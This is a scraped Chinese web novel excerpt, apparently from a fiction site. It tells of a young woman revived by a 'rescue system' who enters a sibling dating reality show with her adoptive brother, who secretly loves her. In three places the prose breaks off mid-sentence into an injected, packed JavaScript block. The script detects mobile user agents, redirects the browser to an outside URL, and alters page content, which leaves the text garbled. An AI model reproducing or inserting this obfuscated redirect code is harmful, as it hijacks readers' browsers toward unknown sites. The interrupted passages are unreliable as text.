《兄妹恋综也要修罗场?》 1. 死亡 “……早晨六点,枫吟大道与平兴街交叉路口发生一起车祸,男性司机刘某因疲劳驾驶操作失误,导致汽车冲入人行道,造成一人死亡……” 死后的世界是虚无的吗? 江识月站在一片虚无的空白中看着前方孤苦无依的病床,一张沉重的白布覆盖其上。 爸爸妈妈互相搀扶着站在床边,医院的灯光刺目,江识月看不清他们的脸,只看见爸爸颤抖着手,捏起白布一角轻轻掀开,像是害怕惊扰蝴蝶。 白布遮盖的面容终于暴露在刺目灯光下,那是江识月的脸。 惨白。 泪水充盈眼眶,眼前的景象开始变得模糊,她感到喉咙涩痒,有破碎的话语要冲出,连绵的泪珠划过脸颊。 “滴答。”一滴眼泪落在书桌,溅起细微水花。 江识月骤然回神,她瞳孔收缩呼吸急促,手用力按住心口,嘴巴张大,发出“嗬嗬”的喘息声。 心脏怦怦跳动,可是那块拳头大小的泵血器官好像在被人揉捏着,皱缩在一起,又沉又闷,以至于停止供氧,让人窒息。 “警告!警告!检测到宿主存在过度呼吸症状,请及时平复情绪,慢速呼吸!” 一个带着机械感的声音响起,江识月下意识听从指挥,闭紧嘴巴,屏息吐气。 “呼……呼……” 终于平复下来。 眼前眩晕的白光散去,书房的景象重新映入眼帘时,江识月一眼就就看到面前书桌上的小方块。 手掌大小,半透明的乳白色,长着黑色细短的机械手脚,边角圆润的块面上还有黑豆一样的眼睛和短线嘴巴,像是江识月走神时会在废弃纸片上画的线条小人。 这是什么?江识月伸手戳戳方块脑袋,把它戳得一个屁股墩儿跌坐在桌面。 “请不要玩弄系统!”小方块笨拙地站起来,向江识月鞠一个躬,礼貌问好:“您好,我是拯救系统0901,请多多指教。” 拯救系统? “是你救了我?”江识月擦去眼角的泪花,想起病床上自己那张惨白的脸,心有余悸。 0901:“是的,所以按照规定,您需要在一个月内向我支付一百心动值,否则您的生命将无法维系。” …… 有点迷幻。 如果在今天之前有人告诉江识月她会死在一场车祸里,并且在死亡之后还会有一个系统拯救她,救完了还向她索要什么心动值承当报酬!江识月一定会认为这个人是看小说看疯了。 还是那种没什么逻辑的无脑言情小说。 可是刚才在脑海里出现的画面过于清晰,心脏皱缩而产生的痛感还残留在身体,她无比真实地意识到自己确实是死过一次,并被这个系统救了回来。 “可是我从哪里找来心动值支付给你呢?”江识月手掌交叠放在桌上,下巴搭在上面,和0901视线平行。 0901:“有人为您动心,而我又刚好在现场,就能自动检测抓取。” 动心啊,江识月眯着眼睛盯着0901,这个系统想让她去谈恋爱? “你不会……”江识月向0901伸出手。 “怎,怎么了?”小方块不自在地后退几步,腿太短,只挪动了一厘米。 江识月拿起它后面放着的一本文件,满脸怀疑地问:“你不会是卢点雪派来的卧底吧?” 文件封面上“《亲爱的伴生》签约合同”几个大字格外显眼。 《亲爱的伴生》是江识月的制片人朋友卢点雪最近在统筹的一款直播恋综项目。 一档以手足关系和恋爱为主题的直播综艺,号称无剧本无剪辑,旨在展示最真实的手足亲情和恋爱日常。 因为江识月有个哥哥,所以在节目组挑选嘉宾人选时卢点雪也给她塞一份邀约。 “江氏集团继承人和新锐科技公司创始人!你们两兄妹这人设要是能进我的综艺,指定能火!到时候我在出品人面前腰杆儿都倍儿直!” 整天上传下达点头哈腰到处沟通综艺细节的卢点雪如是说。 江识月给她投了一笔钱,表示:“参加是不会参加的,钱投给你,把难缠的出品人踢了吧。” 现在看来,她要被打脸了。 要想快速凑齐系统所说的心动值,找个对象是最有效的做法。 可是限时一个月,她总不能去街上随便拉一个人说要和人家谈恋爱。让亲人朋友牵线介绍需要各种对比磨合,效率太低,去恋综是最佳途径。 有节目组营造的氛围在,身处其中的嘉宾更容易被推着陷入恋爱状态。 0901还在咕噜噜摇头说自己不是卧底,江识月已经做下决定,把合同放到它头上,拉开椅子离开书房跑下楼去,对着坐在客厅聊天的父母喊: “爸!妈!我要和我哥去综艺里谈恋爱!” “啪!”0901被文件压倒在桌面,手脚直扑腾,起也起不来。 - “你能不能把话说全?什么叫和你哥去谈恋爱?”妈妈贺今宵把茶几上的果盘推向江识月,无奈地点点她的头。 江识月揽着她的手臂撒娇:“差不多嘛~他谈他的,我谈我的,都谈!” 坐在旁边的江河清喝一口夫人泡的花茶,摇摇头看一眼自家这个被惯得长不大的女儿,问: “怎么突然想着参加恋综?之前问你有没有恋爱,不是说心里只有赚钱搞事业,对小情小爱没兴趣?” “我现在又有兴趣了!”总不能说是因为死到临头,急着找人赚心动值。 爸妈会为她担心的。 “行,行!正好去玩几天,也让集团里你的几位叔叔阿姨们轻松几天。” 江识月从大一开始就在江氏轮岗,今年六月份毕业后跟着江河清学习接手集团事务,工作能力没什么问题,就是行为处事总让人头疼。 嗯,主要是让各位总裁经理头疼。 “干嘛!我对叔叔阿姨们不够好吗?他们不喜欢我吗?”江识月瞪着江河清问。 说到这个江河清可有的聊,坐直身体就掰着手指和女儿细数大家找他这个老父亲告过的状。 “和合作方吃饭,你张叔说上几瓶有年份的白酒吧!你给人换成了雪碧。” “醉酒多伤身体啊!张叔叔还总喜欢劝酒,烦死了!”她在入席前还听到合作方在小声抱怨今天又要喝倒一大片,换成雪碧大家都开心! “股东大会,让行政准备茶水咖啡,你偷偷换成奶茶!我在上面讲话,下面都在嚼珍珠!” “那是联名款嘛~我想摆阵,但两杯奶茶才送一套周边,所以让大家帮忙分担一下。”总部的员工每人一杯! “去会所的时候给你许阿姨点男模?” “她老公对她坏死了!许阿姨这种成功女性就要试着吃点好的,才不会在一棵树上吊死!” …… 江识月总有她的道理,江河清对女儿无可奈何。 “随你吧随你吧,你快去参加你那个直播恋综,折腾你哥去吧。”他放弃了,揉揉额头继续喝茶。 贺今宵看着这两父女争辩,笑得眼睛都眯起来,拍拍江识月的背,问:“你和你哥去恋综,你哥知道这件事吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585432|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江识月摇摇头,她还没通知贺听风呢。 “我哥肯定会同意的!我等他下班回来再和他说。” 贺听风今天加班。 他毕业后自己创业成立科技公司做人工智能,招揽了国内外一批顶尖人才,又正好赶上时代风口,三年下来取得不小成就。 人工智能是个吃灵感的行业,团队里今天有人突然想出更好的运行代码,拉着贺听风讨论测试,等到一切结束已经是晚上十点。 给人批了调休,贺听风回办公室拿起外套准备回家。 他在公司附近有住处,但已经很久没住过。江识月在家里,所以不管多晚他都要回来。 以往贺听风加班晚了,江识月会给他在玄关留一盏灯,昏暗温暖,但今天的客厅却格外明亮。 明亮,但很安静。 他换好鞋子走近沙发,不出所料地看到陷在沙发里盖着薄毯睡着的江识月。 “怎么睡在这里?”贺听风弯腰,伸手在她眉心轻点。 那里被眉毛挤出了小山脉。 客厅灯光太亮,江识月睡不安稳,贺听风一盏一盏按灭多余的灯,只留踢脚线的感应灯静默工作。 他又回到沙发边,坐在地毯上,一只手抵着茶几撑起下巴,用目光一寸寸观察在昏暗夜晚沉睡的,他的月亮。 她今天穿了大裙摆的白色睡裙,是贺听风买的,面料柔软亲肤,灯笼袖垂到手腕,袖口有荷叶边褶皱。 她就这么安静地在自己面前躺着,那双总是明亮的,时不时冒出坏点子的眼睛合上了。 卷翘的睫毛在脸上投出小片阴影,脸颊睡得红扑扑,嘴巴也润泽可爱,像等待亲吻的睡美人。 贺听风忽然想起小时候,很长一段时间里江识月是和自己睡在一个房间的,躺在自己的怀里,软软的,像一只小猫,像一只小狗,像一个洋娃娃。 但他们慢慢长大,到了不能一起睡的年纪。 保姆阿姨给江识月收拾好自己的公主房,但小公主总不安分,晚上还要抱着枕头来哥哥的房间,贺听风只能哄着她回去,拿起童话书坐在床边给人讲故事。 有一次讲了睡美人的故事,四岁的江识月问他:“那哥哥明天早上叫我起床的时候可以亲亲我吗?像王子叫醒睡美人一样。” “不可以。”八岁的贺听风已经具有清晰的性别观念,知道亲吻是不能随便给出或接受的举动。 “哥哥是男生,识月是女生,男生和女生不可以亲亲。” “哥哥也不可以吗?” “对,哥哥不可以,谁都不可以。”他耐心地教导妹妹,让她提防所有人。 哥哥不可以。 贺听风扯一下嘴角,露出苦涩的笑。 过去说过的话像一把刀,扎进现在这颗悸动的心。 他捡起垂到地上的裙摆,手指搓揉那块轻薄的布料,想象这是女孩身体延伸出来的一部分。 布料被手心的温度捂热,丝丝缕缕的芬芳逸散,掠过鼻息。 抓着裙摆的手不知不觉间凑近双唇,贺听风在上面落下一吻。 细腻柔和的触感缠绕手指,如果摩挲她细嫩的皮肤,会不会也有如此感触? 他双眸半掩,目光变得迷离,鼻翼小幅度地翕张着,嗅闻布料上被浸染的香气。 识月,识月,识月…… 他在心底呼唤。 我只偷取片刻亲密,窃一缕轻盈甜香。 原谅哥哥吧。 贺听风目光流转,去寻江识月的熟睡脸庞,却对上一双已经睁开的眼睛。 “哥?” 2. 拒绝 江识月眨眨疲倦的眼睛,又重新闭上,拢一下毯子,遮住被空调吹得有些发凉的锁骨。 “你回来了?”她不够清醒,声音黏在嗓子里,像小猫撒娇。 没有看到? 贺听风提起的心落回原处,松开手指任由顺滑的布料坠落,转身面向茶几,垂着头,背靠沙发。 不知该庆幸,还是应该失望。 偶尔,或者说很多时候,在他忍不住想要触碰江识月的时候,在他用目光勾勒她轮廓的时候,他希望能得到一句提问。 问他举起的手是要做什么,问他流连的目光是在看什么。 于是他就顺势表露心意。 也许他会表露心意。 “怎么在这里睡着了?”他问。 “等你啊。”思及0901要求的心动值,江识月终于清醒些许,坐起身体和贺听风说正事。 “哥,你陪我去参加点雪最近在筹办的兄妹恋综呗。” 然后发现贺听风肉眼可见地僵直身体,说出口的话都带着颤抖气音:“兄妹恋综,这是可以过审的?” 一副被吓到的模样。 “哥你怎么和爸妈一个脑回路呀!” 江识月笑着趴到贺听风的背上,下巴搭在他肩头。 “不是哥哥和妹妹谈,那也太可怕了。” 贺听风僵硬点头,拿起玻璃水壶倒一杯水,还没端到唇边,江识月就伸手截胡,自己先喝一口,让他重新倒。 “是兄妹或者姐弟一起上恋综,然后在隐瞒好各自手足关系的情况下寻找心仪的对象。” 冰凉的液体流入食道,贺听风某一瞬间躁动过的心也冷静下来。 “也就是说,如果参加的话我就要看着你和别人谈恋爱?” 江识月的头发顺着自己的肩头滑下,又落到贺听风手臂上,像扯不断的海藻在将溺水的人缠绕,而掌控者生杀权利的人对此浑然不知。 她说:“不用啊,你也可以找找有没有喜欢的女嘉宾,不用一直关注我。” 贺听风都二十七了还没谈过恋爱,每天除了上班就是回家陪自己和爸妈,浪费大好年华和皮相。 江识月仔细观察自己的哥哥。 双唇薄厚适宜,嘴角总是微微上扬,勾出柔和的弧度。鼻梁挺直,晴天阳光打在上面时皮肤会透出浅浅橘粉色,如玉,如琥珀。 最好看的是眉眼。眉毛很浓,贺听风不会打理,江识月就帮他。她喜欢用眉刀把这对眉毛修整得干净锋利,与过于温柔的眼睛稍作中和。 他眼睛很大,眼珠是深棕色,眼尾呈现下垂趋势,末端却又微挑,浓密的睫毛并不卷翘,半掩住眼珠时显得双眸多情。 每次贺听风专注地望着自己,江识月都要在心里大肆赞叹好几遍。 “哥,你这样一双看狗的深情的眼睛,只要坐在那里看着大家笑一下,全场女嘉宾都要为你爆灯!” 深情? 贺听风挑眉,伸手抬起她的下巴,侧眸与之对视。 江识月:“干什唔?” 她脸颊的软肉被他的手指掐住,说话含糊不清。 贺听风盯着江识月的疑惑的眼睛朝她笑。 “我看着你,深情吗?” 他笑起来更好看了,如春风和煦,如波光粼粼。 江识月眨眨眼,说:“你才是狗。” ……没心没肺的小笨蛋。 贺听风站起身,拿起放在沙发靠背上的外套就要离开。 “我最近很忙,没时间参加。” “欸?”被拒绝了? 江识月掀开毯子跟上贺听风的脚步,拽着他的手臂追问:“有这么忙吗?你们公司又不是只有你能干活!” “不能休假吗?不能远程办公吗?” “陪我去吧!求你了哥哥,全世界最爱我的哥哥,全世界我最爱的哥哥,求求你了……” 她贴着人挨挨蹭蹭地撒娇,贺听风不为所动。 这还是他第一次这么坚决地拒绝自己。 江识月皱着眉头瞪他自顾自往前走的背影,“哼”一声,扑到贺听风的背上,整个人挂在他身上。 “你不答应我,我就这样黏着你不下来了!” “那你加油。”贺听风弓起脊背给江识月省点力气,抓住横在脖子前面的手臂免得她脱力摔跤,背着人一步一步走上台阶。 江识月的身体跟着他移动的动作晃动。 “我拖鞋掉了!” 贺听风又退回来,半蹲着身体给她捡鞋,再往上走。 夏日的西装布料轻薄,女孩身上的温度透过布料传到他身上,一双腿随着自己的步伐来回地摆,脚不时擦过他小腿。 “为什么想去参加恋综?” 好奇怪的问题,去恋综还能干什么? “去恋爱呀!” 这张嘴现在说不出一句能让贺听风开心的话。 “什么恋爱非要在综艺里谈,摄像机开着,他们都只会表现自己最好的样子,看不出真实的为人。你不如在身边看看有没有喜欢的,慢慢相处了解。” 这道理江识月自然也懂,但她很急啊!没有时间再去慢慢了解相处。 “没事的,点雪都做过筛选和背调了,能上节目的人都很优秀。” 他们住在三楼,路过江识月房间的时候贺听风停下脚步示意她下来,江识月摇头。于是继续往前走,打开隔壁的房门,把人带回自己的房间。 小时候江识月和贺听风的房间里总是会出现对方的东西,他们有时在这间屋子写作业,有时在那间屋子拼乐高,东西到处乱放,找不到了就去对方房间里翻找。 后来长大了,贺听风开始不再踏足妹妹的房间,江识月也学会敲门问哥哥方不方便。 她很久没进贺听风的房间里看过。 江识月环顾四周,这件屋子现在有些陌生,也还有些熟悉。 床换了新的,两米宽,铺着米灰色的床单,枕头整齐放在床头。蓝色的窗帘挂在飘窗,里头还有一层白纱,被风吹得晃动。 小时候那张床床头被江识月贴满钻石贴纸,两人一起看完《猫和老鼠》,就拿着剪刀给窗帘剪流苏。 现在钻石和流苏都不知去了哪里,只有飘窗的置物架上放着造型可爱的乐高积木,江识月买回来的,由贺听风拼装。 “下来?” “哦。” 贺听风停在床边,江识月一松手就顺势坐到床上,她探身捞起枕头抱在怀里,看哥哥解开衬衫领口的扣子,转动脖子放松颈椎。 “哥,陪我去嘛~”她把腿也放上床,没骨头似的歪倒在被子里。 不去的话,你就要失去你亲爱的妹妹了。 唔,系统的存在可以告诉哥哥吗?今天忘记问0901了,回头问一下。 贺听风把外套挂到衣帽架上,靠着墙壁看江识月在自己的床上滚来滚去,像因为买不到玩具就满地打滚的小孩。 没长大一样的人,也开始想着恋爱。 “一定要参加这个节目?” “一定。” 她这样坚决,贺听风免不了生出联想。 “节目里……有你喜欢的人吗?”他垂在身侧的手攥紧,后槽牙叼着口腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585433|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的肉切磨。 江识月茫然:“没有啊。” 她都不知道会有谁参加。 身为朋友和出品人之一,她可以找卢点雪拿嘉宾资料提前了解,但是节目里还有猜测兄妹关系的环节,看资料对其他人来说太不公平。 不过贺听风这么问她,江识月眼珠一转,撑起身体看向他:“哥你是因为有了喜欢的人,所以才不想和我去恋综吗?” 如果真是这样,那她也不勉强。 雇一个人假装哥哥或者弟弟参加节目应该可以吧?或者让卢点雪改一下节目规则,让她不用带哥哥也可以参加。 贺听风看着她,都快气笑了。 那双眼睛里都是好奇,她一点都不伤心,甚至流露出期待欣喜。 自己有了喜欢的人,她真心地为他高兴。 这样一双眼睛,让贺听风感到难堪。 他不回答这个问题,只是一边推开浴室门走进去,一边说:“我要洗漱睡觉了,你快回屋吧。” “哎!”江识月放下枕头冲过来。 “咔嗒。”门被锁上。 “啧。” 江识月靠着门框,开始喋喋不休的追问:“哥你喜欢谁呀?我认识吗?” “你们现在关系进展到哪一步了?” “哥你还在追吗?需要我帮忙出出主意吗?” “哥哥!” “哥哥?” “哥哥~” …… 贺听风不回答,江识月也不放弃,问到最后找不到新的问题,就变着声调叫“哥哥”自娱自乐,等人出来再严刑逼供。 浴室里,热水哗啦啦落下,贺听风站在莲蓬头底下任由衣服被打湿。 进浴室是个错误的决定。 江识月在门外,她天真烂漫,询问自己的哥哥倾心的对象是谁,却不知道这个人一颗心全挂在她身上。 连绵的呼唤声穿过水幕钻进耳朵,变得暧昧缠绵。 她浑然不知,还在用她娇气甜美的声音一声声呼唤,像一只小猫在挠门,而贺听风只能一步步被逼到绝境。 别问了! 也别叫了! 那一声又一声的哥哥像魔咒,让他欲死,也让他欲生。 他又是嫉妒,又是心伤,却无法抑制地让这声音勾出欲望。 下流! 贺听风转动开关,落在身上的水变得冰凉。 “哥哥啊……”她大概累了,声调拖长,像低吟。 真是要疯了。 衣物被水打湿后裹住身体每个角落,稍微一个动作就牵扯摩擦,贺听风被磨得生疼,却又不敢脱下这层束缚。 楚楚衣冠是他的伪装,遮住泥沼一样潮湿的灵魂,才能做她光伟正直的哥哥。 现在她在门外,即使不是面对面,可若此刻脱去这层布料……仅仅是假想,贺听风都觉得是在亵渎月亮。 “识月,”贺听风看着磨砂玻璃上模糊的身影,目光沉沉。 “回你的房间去好吗?” 那道影子晃晃脑袋,说:“不要,除非你告诉我你喜欢的人是谁,或者你陪我去恋综。” 贺听风的头发被水冲散造型耷拉在额头,发梢滴滴答答落下连绵的水珠,落在眼睫,落在脸颊,落在锁骨…… 他目光紧紧盯着面前的磨砂玻璃,像是要穿透那道门,看清江识月的模样,或者让目光凝结成实质,把门外的人抓捕进来,勒紧怀里。 可他不能,他只是伸手触碰扣子,解开,一颗,又一颗。 是你不愿离开的, 我问过你了。 3. 参加 扣子解到第六颗,可以看见胸口随着呼吸起伏,腰腹的肌肉也被牵动。 还未褪下的白色衬衫贴在皮肤上,勾勒出精壮的身体轮廓,手臂的肌肉也蓬勃。 贺听风张开嘴巴喘息着,流水划过嘴角,舌尖轻触齿根。 骨节分明的手指落在最后一颗扣子上,打磨光滑的白蝶贝纽扣被浸润后光泽温润迷离。 拇指和食指捏住纽扣及其下的布料,捻动,纽扣孔的锁边被拉扯撑大,就要吞吃这块贝壳。 但终于,贺听风停下手里的动作。 “我答应你,陪你去恋综。” 他被打败了,内心的歉疚占了上风。 他长长地吐一口气,脱力一般向后倒,撞上浴室墙壁,下滑跌坐在地。 “真的呀?”江识月瞬间恢复精神,喜笑颜开。 “那哥你好好休息,我回去睡觉啦!” 她甩甩手离开,宽大的裙摆荡漾出愉悦的弧度,不管贺听风卧室里被她折腾一通后变得褶皱不堪的被子,和耷拉在床边摇摇欲坠的枕头。 回到房间,0901已经从文件底下爬出来,无所事事地踩在电脑键盘上跳来跳去,发出咔哒咔哒的声音。 听见江识月进屋,小碎步跑来桌边打招呼:“宿主晚上好!” “晚上好!”江识月捞起小方块一起躺到床上。 “0901,我可以把你救我的事告诉别人吗?” 0901被放到枕头边后自己艰难地爬到床头柜上,收起手脚坐在台灯旁,假装是个摆件。 “不可以哦!0901不可以被宿主以外的人发现。” 好吧。 还有一个问题。 江识月拥着被子,用手指点点它头顶,有些苦恼:“收集心动值需要你在场,可你这么大一个,我很难把你随身携带啊。” 它像个魔方一样,难道在恋综里她还要随时捧着吗? 0901眨巴眨巴豆豆眼,身体发出“咔咔”声,乳白色的外壳裂开缝隙,块面移动扭转,重新组装一遍,缩成小指指节大小,顶端钻出一根细长链条。 “宿主可以把我戴在耳朵上。” 江识月伸手拨动这个新鲜出炉的耳饰,点头表示满意。 “嗯,可以!那睡觉吧,你需要睡觉吗?” 或者对于机器人来说,应该叫做休眠? 0901身体散发微弱光芒,闪烁两下后归于黑暗。 “拯救系统0901进入待机模式,检测到宿主呼唤指令后会再次苏醒。” 原来是待机。 江识月端详片刻,关掉灯躺进被窝里。 为了恋综的事和哥哥折腾了这么一段时间,她反而失去睡意,睁着眼睛开始琢磨今天发生的种种事情。 她死了,死于车祸。 早上六点,在枫吟大道与平兴街交叉路口。 可是是哪一天呢?她一点儿也想不起来。 问过0901,它只说等到集齐心动值后就会知道答案。 这是什么不可言说的事吗? 0901是从哪里来的?谁创造了它?江识月有很多问题,它都说要等到集齐心动值才能解答。 一个充满秘密的系统。 但至少就目前而言,它对自己没有危害。 那就先去做任务吧! 她倒是要看看,等到一切结束时0901要怎么给她解答。 - 之后一周,江识月拉着贺听风把合同签了交给卢点雪,又配合节目组拍摄宣传照片以及与日常生活和工作相关的视频。最后把工作安排妥当,收拾好行李用品,赶往录制场地。 综艺录制地点是z市附近一个即将被开发成旅游度假区的海岛。 江识月和贺听风乘坐飞机来到z市,再去乘坐节目组包下的渡轮赶往岛屿。 渡轮很大,安置了嘉宾以及节目组幕后所有的工作人员。四组嘉宾分布在不同位置的房间,门口有工作人员守着,外出和归来都要先沟通报备,免得直播还没开始嘉宾就碰面。 “像关押犯人。” 江识月捧着果盘靠在贺听风身边,和哥哥吐槽节目组的严格管控。 节目即将开始,他们的手机都被工作人员收走了。好在两人还带了书,贺听风举着书本阅读,江识月就凑在他旁边跟着看,指挥他翻页或者暂停。 “喏,哥。”江识月叉一个番茄夹乌梅塞进贺听风嘴里。 果盘里的西瓜葡萄被她吃了大半,剩下一堆圆滚滚的小番茄。 她不爱吃,总觉得圣女果或是小番茄之类的果蔬味道怪怪的。而但凡她觉得味道怪,或是不够喜欢的食物,最后都会落到贺听风嘴里。 同理,如果是她喜欢的东西,不管是自己的份额,还是贺听风的份额,最后都会到她这里来。 这是从小就养成的习惯。 “没想到综艺会是在z市录制,等到节目结束我们要不要在这里住几天,去看看干爸干妈?” 很小的时候,江识月就知道贺听风和自己并不是具有亲缘关系的兄妹。 贺听风的父母在他四岁那年相继离世,妈妈贺今宵把他接回江家时江识月才六个月大。 上一辈的事江识月不曾多问,怕惹妈妈和哥哥伤心,只知道贺听风的妈妈与自己的妈妈是挚友,所以两人还未出生,或者说连个影子都没有时就已经有了干妈。 很巧,与干妈结婚的男人也姓贺,所以后来贺听风来到江家时没人会觉得他是别人家的小孩,只当两个孩子一个随母姓,一个随父姓。但实际上贺听风与江识月甚至不在同一个户口本。 可他们的关系比很多亲兄妹还要亲密。 爸妈年轻时工作忙碌,江识月可以说是让贺听风养大的。 她连路都走不稳的时候,从幼儿园回来的贺听风会牵着她的手在软垫上练习行走。 她吃完每日定额的糖果还馋得流口水的时候,贺听风偷偷把自己的那颗奶糖塞进她嘴巴里。 她刚开始上学对课程感到不适应的时候,贺听风握着她的手书写横竖撇捺。 即便是情绪波动最大的青春期两人也不曾疏离。同在中学上课的两年他们每天约好一起去食堂吃午饭,晚上再一起回家,直到贺听风高三毕业进入大学。 但就算是大学,贺听风都是在本市就读,每周末都回家陪伴还挣扎在中学课程里的妹妹,大四那年还代替父母参加了学校为江识月她们那届高三生举办的成人礼。 他们陪伴彼此度过了目前为止所有的人生阶段。 每年春天,江识月也会陪哥哥来到z市,这是他四岁之前的故乡,他的亲生父母葬在这里,葬在二十三年前的春天。 面对父母的墓碑,贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585434|171721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听风会变得格外沉默,每年去扫墓的时候江识月就会变成哥哥的嘴巴,帮他向爸妈讲述这一年来经历过的事。 拿了几张奖状,竞赛得了第几名,今年长高了几厘米,天天在公司加班,不好好照顾自己…… 他们今年年初来过一次,但既然又来到了这里,再去看看有什么不好? 说不定到时候还可以带着哥哥的女朋友一起去呢! 伴侣和妹妹总是不一样的,她未来的嫂子会和哥哥经历更长久,更亲密的岁月,然后代替她来讲述贺听风的故事…… 代替她吗? 江识月皱了下眉。 “叩叩。”工作人员敲门进来,对两人说:“快到江小姐出场的时间了,您可以准备一下。” 船靠岸了。 江识月从愣怔中醒来,说:“知道了!” 顺手把果盘递给贺听风,他自然而然地接到手里再放到桌上,抽一张湿巾递过去。 江识月擦过嘴角与手指,再掏出小镜子给自己补补妆,站起身在贺听风面前转个圈。 “哥,我好看吗?” 她今天穿了橙色的上衣,搭配白色短裙。 上衣背面是绑带设计,编成松散辫子的头发垂在身前时,后背漂亮的肩胛骨就会露出来。 贺听风眼睛扫过那片洁白的皮肤,又落到她耳侧晃荡的银色链条上。 0901变成的耳饰只有一只,江识月又翻出一只银色方牌造型的耳环和它搭配成套。 贺听风伸手捋顺她鬓边碎发,拂过耳下垂着的银色链条。 “好看。” 又问:“要不要戴顶帽子?外面应该挺热的。” “不要,我带来的帽子和今天这身衣服不搭,而且海风好大,吹飞了我还得去追。”太狼狈了。 江识月摇头,笑着往贺听风怀里扑一下,不等对方的动作,转身推着自己的行李箱往外走,手举起来挥挥。 “等会儿见!” 房门大敞开,外面湿热的海风和聒噪的鸟鸣闯进来,桌上的书页被风刮得哗哗作响。 贺听风的头发被吹得狂舞,大概有几缕不听话的发丝曾擦过他的眼眸,眼眶被扎得发红。 随后房门被工作人员关闭,室内重新归于寂静。 寂寞地站在原地片刻,贺听风坐回沙发拿起已经不知道被翻到哪一页的书继续阅读。 良久,也不曾翻动纸张。 即将入住的恋爱小屋离岸边大概有一公里,这段路是个上坡,江识月推着行李箱慢慢往上爬。 艳阳高照,道路两旁只有工作人员布置的鲜花和气球,没有一棵树,也没有一把伞。 后颈溢出一颗颗汗水,顺着脊背滑落到腰间,痒痒的。 江识月擦擦额头的汗水,开始怀疑人生。 这样狼狈的场景真的适合在恋综里出现吗? “呼……你热吗?”她用手掌给自己扇扇风,看向跟着自己的摄像师。 他头上戴着宽檐草帽,绑带勒紧下巴,整张脸都在阴影里。 早知道就听贺听风的话戴个帽子……算了,她要上镜呢! 在工作中,摄像师不方便回答,只是朝着她笑,点点头。 也是,江识月看着他手里的沉重的设备,觉得他可比自己累得多。 “那我走快点,我们去屋里吹空调!” 4. 两个 【来了来了来了!!!】 【本来还说这种直播恋综没有明星观察员在旁边讨论,没什么好看的,结果宣传照一发出来……真香。】 【眼前一亮又一亮啊!!】 【节目组上哪儿找的这么多素人美女帅哥?!还都是单身!!】 【所以人不仅赚不到认知以外的钱,还eat不到圈子之外的美人吗QAQ】 【……你说话真好听,等着,我去厨房烧点开水给你喝。】 【蹲蹲,节目组最好不是发的高p图。】 《亲爱的伴生》从筹备策划时就开始宣传预热,两小时前节目组的渡轮刚从z市码头出发就开始铺天盖地的宣发。 在金钱的攻势下,各大平台的大v营销号齐齐发力,摄像机还没开,直播间就蹲满了人。 下午四点整,直播准时开始。 窗明几净的恋爱小屋,染着砂金色头发的青年歪坐在沙发里,一手抵着额头,一手拿着节目组准备的入住指南浏览。 他脸颊清瘦,眉骨硬朗,低垂着脑袋看不清脸上表情,只看到耳朵上的一排枪色耳钉。 【开始了开始了!】 【男一怎么不露脸?摄影师可以把镜头怼近点吗?】 【但这个角度看着也是帅的!】 【毕竟看不到的地方都用想象力补全了。】 弹幕还在议论,青年也终于读完入住指南,将其随手扔到面前的茶几上,硬卡纸与桌面拍击出清脆的声音。 “啪!” “哎呀!” 他抬头望向门口,就看见江识月在玄关踉跄好几步才站稳身体,扶着墙直喘气,后面的摄影师伸手想扶却被行李箱绊住脚,跌靠在门框上。 一片混乱。 【吓我一跳!】 【女一怎么啪地一下就摔进来了?】 【我知道我知道!】 【外面太热晒得她受不了,推着行李箱喊着什么空调啊风扇的就往前冲,到门口时想扶着门休息一下,结果男一之前没关门,她就跌进来了。】 除了恋爱小屋这个主直播间,每个嘉宾入场时也会有属于自己的单人直播。 在大部分观众都蹲守在主直播间观看时,有人发现江识月下船后就开启的单人直播,溜过去跟着她走了一段艳阳高照的路。 “你好,你没事吧?” 青年站起身走近江识月,帮她扶起倒地的行李箱,这时她才发现屋里已经有一个人。 视线扫过对方锋利的眉眼,江识月摇头:“谢谢,我就是跑得有些急了。” 然后默默把行李箱推到角落和另外一个黑色的行李箱并排放着,假装刚才的事没发生过。 “行李是放在这里对吧?” 青年点头。 还没确定住房,行李只能先放在一楼。 江识月走进客厅坐下,抽出纸巾沾去额头的汗水,自我介绍:“你好,你可以叫我江月。” 为避免嘉宾的名字和姓氏暴露信息,在公开手足关系前大家都需要先以化名相称。 “你好,我叫青阳。”青阳倒一杯水给她,也坐下来。 “青阳?风清扬?还是咩咩羊?” “是青色的青,太阳的阳。” 喝一口水,吹着凉爽的空调风,江识月在外面被晒得发蔫的心情终于缓过来,笑着感慨:“那很巧欸!我是江水的江,月亮的月。” 【那很巧欸】 【那很巧欸】 【那很巧欸】 